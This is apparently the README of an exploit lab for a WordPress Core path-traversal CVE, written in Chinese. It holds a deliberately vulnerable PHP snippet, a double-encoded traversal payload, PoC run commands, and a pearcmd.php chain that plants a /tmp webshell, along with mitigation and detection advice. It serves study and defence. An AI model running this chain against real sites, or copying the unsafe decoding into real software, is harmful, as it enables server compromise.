针对 CVE-2026-87902 的漏洞实验环境(Docker)+ Python PoC —— WordPress Core 中未经身份验证的路径遍历(page-template -> LFI -> 条件性 RCE)。仅限教育/授权用途。
故意存在漏洞的实验环境 + Python PoC,针对 CVE-2026-87902: WordPress Core 的 page template 解析中存在的未认证路径遍历, 导致本地文件包含(LFI)和条件性 RCE。
| 字段 | 值 |
|---|---|
| 产品 | WordPress Core |
| 受影响版本 | 4.7.0 → 7.1.1 |
| 修复 | 7.1.2(向后移植至 4.7.37) |
| 类型 | 路径遍历(CWE-22)→ LFI → 条件性 RCE |
| 认证 | 无(未认证) |
| CVSS 4.0 | 9.2(严重) |
| 发布日期 | 2026-09-23 |
⚠️ 法律/道德警告。 此处所有材料仅供本地授权环境中的学习使用。 该实验环境是一个故意不安全的 Docker 镜像—— 请勿将其暴露在互联网上。
exploit.py默认目标为http://localhost:8091,这是有意为之。在未经明确书面授权的情况下 对任何系统运行该 PoC 均属违法。您对使用行为承担全部责任。
EXPLOIT-CVE-2026-87902/
├── README.md # 本文件
├── docker-compose.yml # 在 localhost:8091 启动实验环境
├── lab/
│ ├── Dockerfile # php:8.2-apache + PEAR + register_argc_argv=On
│ ├── config/zz-lab.ini # RCE 的环境前置条件
│ └── src/ # 复现漏洞代码片段的“迷你 WordPress”
│ ├── index.php # 前端控制器(≈ template-loader.php)
│ ├── wp-mini.php # 存在漏洞的 get_page_template()/locate_template()/...
│ ├── private/
│ │ └── secret-config.php # 主题外的 .php 目标(LFI 证明)
│ └── wp-content/themes/twentytwelve-mini/
│ ├── style.css
│ ├── index.php
│ └── page-templates/ # 遍历所需的 "page-*" 目录
│ └── full-width.php
└── exploit/
├── exploit.py # PoC(pt-BR):LFI + 通过 pearcmd 的 RCE 链
└── requirements.txt
前置条件: Docker + Docker Compose 以及带 requests 的 Python 3。
# 1) 启动实验环境(位于 http://localhost:8091)
docker compose up --build
# 2) 在另一个终端中,安装 PoC 依赖并运行
cd exploit
pip install -r requirements.txt
python3 exploit.py # 针对本地实验环境运行 LFI + RCE
# 实用选项
python3 exploit.py --mode lfi # 仅 LFI 证明
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091
# 3) 关闭实验环境
docker compose down
预期输出(摘要):
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------
在 get_page_template() 中,公共查询变量 pagename 的值被用于
构造模板名称。核心使用 validate_file() 验证原始值
(该函数会拦截字面量 ..),但随后对该值解码一次,并将结果用作
模板候选,而未重新验证(在 wp-mini.php 中忠实复现):
if ($pagename !== '' && 0 === validate_file($pagename)) {
$templates[] = "page-{$pagename}.php"; // 原始值(仍为编码状态)
$pagename_decoded = urldecode($pagename); // <-- 第二次解码
if ($pagename_decoded !== $pagename) {
$templates[] = "page-{$pagename_decoded}.php"; // 遍历被重新引入
}
}
随后 locator 拼接 主题 + "/" + 模板,并包含第一个存在的文件,
没有 realpath(),也没有检查结果是否仍位于主题目录内部。
攻击者发送双重编码的 pagename:
线上值(POST body): templates%252f%252e%252e%252f...%252fpearcmd
第 1 次解码(HTTP): templates%2f%2e%2e%2f...%2fpearcmd <- 无字面量 '..' => 通过 validate_file()
第 2 次解码(核心): templates/../../.../pearcmd <- 真实遍历
由于 locator 会添加 page- 前缀,路径变为
page-templates/../../.../pearcmd.php。这会解析到主题之外。
page- 开头的顶层目录(此处为
page-templates/)。这是遍历的真正起点:在 Linux 上,路径的每个
组成部分都必须存在,../ 才能解析。旧版主题(Twenty Twelve/Fourteen)
和流行主题(Neve、Hestia、Sydney)均满足此条件。register_argc_argv = On → $_SERVER['argv'] 会从
查询字符串填充。pearcmd.php 可读(官方镜像 php:8.2-apache 已将其
置于 /usr/local/lib/php/pearcmd.php,位于默认 include_path 中)。由于 locator 会附加 .php,LFI 只能访问 .php 文件。因此,实际的 RCE
路径与 pearcmd.php 链接:
pearcmd.php,传入
config-create 以在 /tmp 中写入一个 .php webshell。/tmp/<webshell>.php → 攻击者的 PHP
代码执行。该补丁以一致的方式处理 pagename 的值:在任何解码之后进行验证
(或拒绝包含编码遍历序列的输入),并在模板解析中强制目录边界
(最终路径必须仍位于主题内部)。结果:双重编码的值不再能存活到
include。
缓解措施: 更新至 ≥ 7.1.2;并且,作为纵深防御,
register_argc_argv = Off,移除/限制 pearcmd.php,以及部署能够检测
请求中编码 ../(%2e%2e%2f、%252e...)的 WAF。
../
(%2e%2e%2f、%252e%252e%252f)。pagename 中出现异常值),
尤其是与包含 config-create / 引用 pearcmd 的查询字符串组合时。/tmp 中意外创建 .php 文件随后被包含。